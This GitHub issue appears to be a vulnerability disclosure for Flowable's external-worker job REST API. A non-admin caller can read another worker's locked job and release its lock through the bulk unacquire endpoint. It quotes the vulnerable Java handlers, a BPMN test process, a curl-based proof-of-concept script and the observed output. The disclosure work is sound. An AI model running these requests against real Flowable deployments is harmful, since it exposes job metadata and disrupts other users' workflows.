Skip to content

Authorization Bypass Through User-Controlled Key in the External-Worker Job API #4282

Description

@CyanM0un

Summary

The external-worker REST API does not bind job reads or bulk unacquire to the authenticated principal, so a non-admin caller can read another worker's locked job and release its lock by naming that worker's id.

Details

Job read. In
modules/flowable-external-job-rest/src/main/java/org/flowable/external/job/rest/service/api/query/ExternalWorkerJobResource.java,
the getExternalWorkerJob handler (declared at line 47) resolves the job and returns it with no
ownership check at all:

@GetMapping(value = "/jobs/{jobId}", produces = "application/json")
public ExternalWorkerJobResponse getExternalWorkerJob(@PathVariable String jobId) {
    ExternalWorkerJob job = getExternalWorkerJobById(jobId);                     // line 48

    return restResponseFactory.createExternalWorkerJobResponse(job);
}

The response factory serializes the job's lock owner and process metadata — lockOwner,
processInstanceId, executionId, retries and the other fields declared by
ExternalWorkerJobResponse; that read DTO has no variables field, and variables are added only to
the acquire response (AcquiredExternalWorkerJobResponse).

Bulk unacquire. In
.../service/api/acquire/ExternalWorkerUnacquireJobResource.java, the bulk handler accepts a
workerId from the request body and passes it straight to the engine (line 60):

@PostMapping(value = "/unacquire/jobs", produces = "application/json")
public ResponseEntity<?> unacquireJobs(@RequestBody UnacquireExternalWorkerJobsRequest request) {
    if (restApiInterceptor != null) {
        restApiInterceptor.accessUnacquireExternalWorkerJobs(request);
    }

    if (StringUtils.isEmpty(request.getWorkerId())) {
        throw new FlowableIllegalArgumentException("worker id is required");
    }

    unaquireExternalWorkerJobs(request.getWorkerId(), request.getTenantId());    // line 60

and the helper calls the engine for that worker id (lines 119-128):

managementService.unacquireAllExternalWorkerJobsForWorker(workerId, tenantId);
...
managementService.unacquireAllExternalWorkerJobsForWorker(workerId);

There is no comparison with the authenticated principal and no lock-owner check: the endpoint
releases the locks of whichever worker id the caller names.

The sibling path that does enforce the rule. The single-job unacquire handler in the same file
declares the same HTTP 403 response and implements the check at lines 79-81:

ExternalWorkerJob job = getExternalWorkerJobById(jobId);                         // line 79

if (!workerId.equals(job.getLockOwner())) {                                      // line 81
    throw new FlowableForbiddenException(workerId + " does not hold a lock on the requested job");
}

and the acquire/complete family applies the same predicate at
ExternalWorkerAcquireJobResource.java:107-109 (complete), :159-161 (bpmnError),
:199-201 (cmmnTerminate) and :239-241 (fail). The read path and the bulk path are the
outliers, which is what makes the omission clear.

Reproduction

pocExternalWorker.bpmn20.xml is the external-worker process the script deploys
(flowable:type="external-worker", flowable:topic="pocTopic")

<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"
             xmlns:flowable="http://flowable.org/bpmn"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             targetNamespace="http://flowable.org/poc">
  <process id="pocExternalWorker" name="PoC External Worker" isExecutable="true">
    <startEvent id="theStart"/>
    <sequenceFlow id="flow1" sourceRef="theStart" targetRef="externalWorkerTask"/>
    <serviceTask id="externalWorkerTask" name="External worker task"
                 flowable:type="external-worker" flowable:topic="pocTopic"/>
    <sequenceFlow id="flow2" sourceRef="externalWorkerTask" targetRef="theEnd"/>
    <endEvent id="theEnd"/>
  </process>
</definitions>

The decisive requests from poc_external_job_lock.sh (the script's banner, need checks and
output-file bookkeeping are elided; curl and python3 are required):

#!/usr/bin/env bash
# Decisive requests from poc_external_job_lock.sh (full script elided: banner/need checks/output files).
set -uo pipefail
POCDIR="$(cd "$(dirname "$0")" && pwd)"
BASE_URL="${BASE_URL:-http://127.0.0.1:8080/flowable-rest}"
AUTH=(-u "$REST_USER:$REST_PASSWORD")            # the non-admin attacker account
VICTIM_AUTH=(-u "$VICTIM_USER:$VICTIM_PASSWORD")
OUT="$POCDIR/out"; mkdir -p "$OUT"
VICTIM_WORKER="${VICTIM_WORKER:-victim-worker}"  # a caller-declared string, not an identity
TOPIC="${TOPIC:-pocTopic}"
json() { python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(eval(sys.argv[2], {"d": d}))' "$1" "$2"; }

# 1. deploy the external-worker process (201)
curl -sS -o "$OUT/poc-01-deploy.json" -w 'deploy -> %{http_code}\n' \
    -F "file=@$POCDIR/pocExternalWorker.bpmn20.xml" \
    "${AUTH[@]}" "$BASE_URL/service/repository/deployments"

# 2. start the process as the victim (201)
curl -sS -o "$OUT/poc-02-start.json" -w 'start -> %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -d '{"processDefinitionKey":"pocExternalWorker"}' \
    "${VICTIM_AUTH[@]}" "$BASE_URL/service/runtime/process-instances"
PROCESS_INSTANCE_ID=$(json "$OUT/poc-02-start.json" 'd.get("id")')

# 3. the victim's worker acquires the job (200; lockOwner=victim-worker)
curl -sS -o "$OUT/poc-03-acquire.json" -w 'acquire -> %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -d "{\"workerId\":\"$VICTIM_WORKER\",\"topic\":\"$TOPIC\"}" \
    "${VICTIM_AUTH[@]}" "$BASE_URL/external-job-api/acquire/jobs"
JOB_ID=$(json "$OUT/poc-03-acquire.json" 'd[0].get("id") if isinstance(d, list) and d else d.get("id")')

# 4. the attacker reads the victim's locked job (200, with that lockOwner)
curl -sS -o "$OUT/poc-04-read.json" -w 'read -> %{http_code}\n' \
    "${AUTH[@]}" "$BASE_URL/external-job-api/jobs/$JOB_ID"

# 5. control: the guarded complete path rejects the attacker (403)
curl -sS -o "$OUT/poc-05-complete.json" -w 'complete -> %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -d "{\"workerId\":\"$REST_USER\"}" \
    "${AUTH[@]}" "$BASE_URL/external-job-api/acquire/jobs/$JOB_ID/complete"

# 6. the attacker releases the victim's lock through the bulk unacquire (204; lockOwner becomes null)
curl -sS -o "$OUT/poc-06-unacquire.txt" -w 'bulk unacquire -> %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -d "{\"workerId\":\"$VICTIM_WORKER\"}" \
    "${AUTH[@]}" "$BASE_URL/external-job-api/unacquire/jobs"
curl -sS "${AUTH[@]}" "$BASE_URL/external-job-api/jobs/$JOB_ID" \
    | python3 -c 'import json,sys; print("lockOwner after unacquire:", json.load(sys.stdin).get("lockOwner"))'

# 7. control: an unrelated worker id has no effect on the lock
curl -sS -o "$OUT/poc-07-reacquire.json" -w 're-acquire -> %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -d "{\"workerId\":\"$VICTIM_WORKER\",\"topic\":\"$TOPIC\"}" \
    "${VICTIM_AUTH[@]}" "$BASE_URL/external-job-api/acquire/jobs"
curl -sS -o /dev/null -w 'unacquire nobody -> %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -d '{"workerId":"nobody"}' \
    "${AUTH[@]}" "$BASE_URL/external-job-api/unacquire/jobs"
curl -sS "${AUTH[@]}" "$BASE_URL/external-job-api/jobs/$JOB_ID" \
    | python3 -c 'import json,sys; print("lockOwner after the unrelated control:", json.load(sys.stdin).get("lockOwner"))'

Prerequisites.

  1. A disposable local Flowable instance built from the assessed revision, started on port 8080
    with the context path /flowable-rest; the embedded H2 database is sufficient.
  2. curl and python3.
  3. A victim account (the account that starts the process) and a non-admin attacker account holding
    only access-rest-api.
  4. A worker id for the victim's worker, a caller-declared string (victim-worker in the run).

Environment variables and run.

BASE_URL=http://127.0.0.1:8080/flowable-rest \
REST_USER=attacker REST_PASSWORD='<attacker password>' \
VICTIM_USER=victim VICTIM_PASSWORD='<victim password>' \
VICTIM_WORKER=victim-worker \
./poc_external_job_lock.sh

Observed result

Observed output from the validation run, in condensed form:

victim   -> POST /flowable-rest/external-job-api/acquire/jobs {workerId:victim-worker}   -> 200
            job {"lockOwner":"victim-worker","lockExpirationTime":"..."}
attacker -> GET  /flowable-rest/external-job-api/jobs/{jobId}                           -> 200
            {"lockOwner":"victim-worker","processInstanceId":...,"executionId":...,"retries":3,...}
attacker -> POST /flowable-rest/external-job-api/acquire/jobs/{jobId}/complete {workerId:attacker}
                                                                                        -> 403
            {"message":"Forbidden","exception":"attacker does not hold a lock on the requested job"}
attacker -> POST /flowable-rest/external-job-api/unacquire/jobs {workerId:victim-worker} -> 204
            job afterwards: "lockOwner": null
attacker -> POST /flowable-rest/external-job-api/unacquire/jobs {workerId:nobody}        -> 204
            the same job (re-acquired by victim-worker2) still locked: "lockOwner":"victim-worker2" (control)
reader   -> GET  /flowable-rest/external-job-api/jobs/{jobId}                            -> 200 {"lockOwner":"victim-worker3"} (independent account)
reader   -> POST /flowable-rest/external-job-api/unacquire/jobs {workerId:victim-worker3} -> 204
unauthenticated GET /flowable-rest/external-job-api/jobs/{jobId}                         -> 401 (control)

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions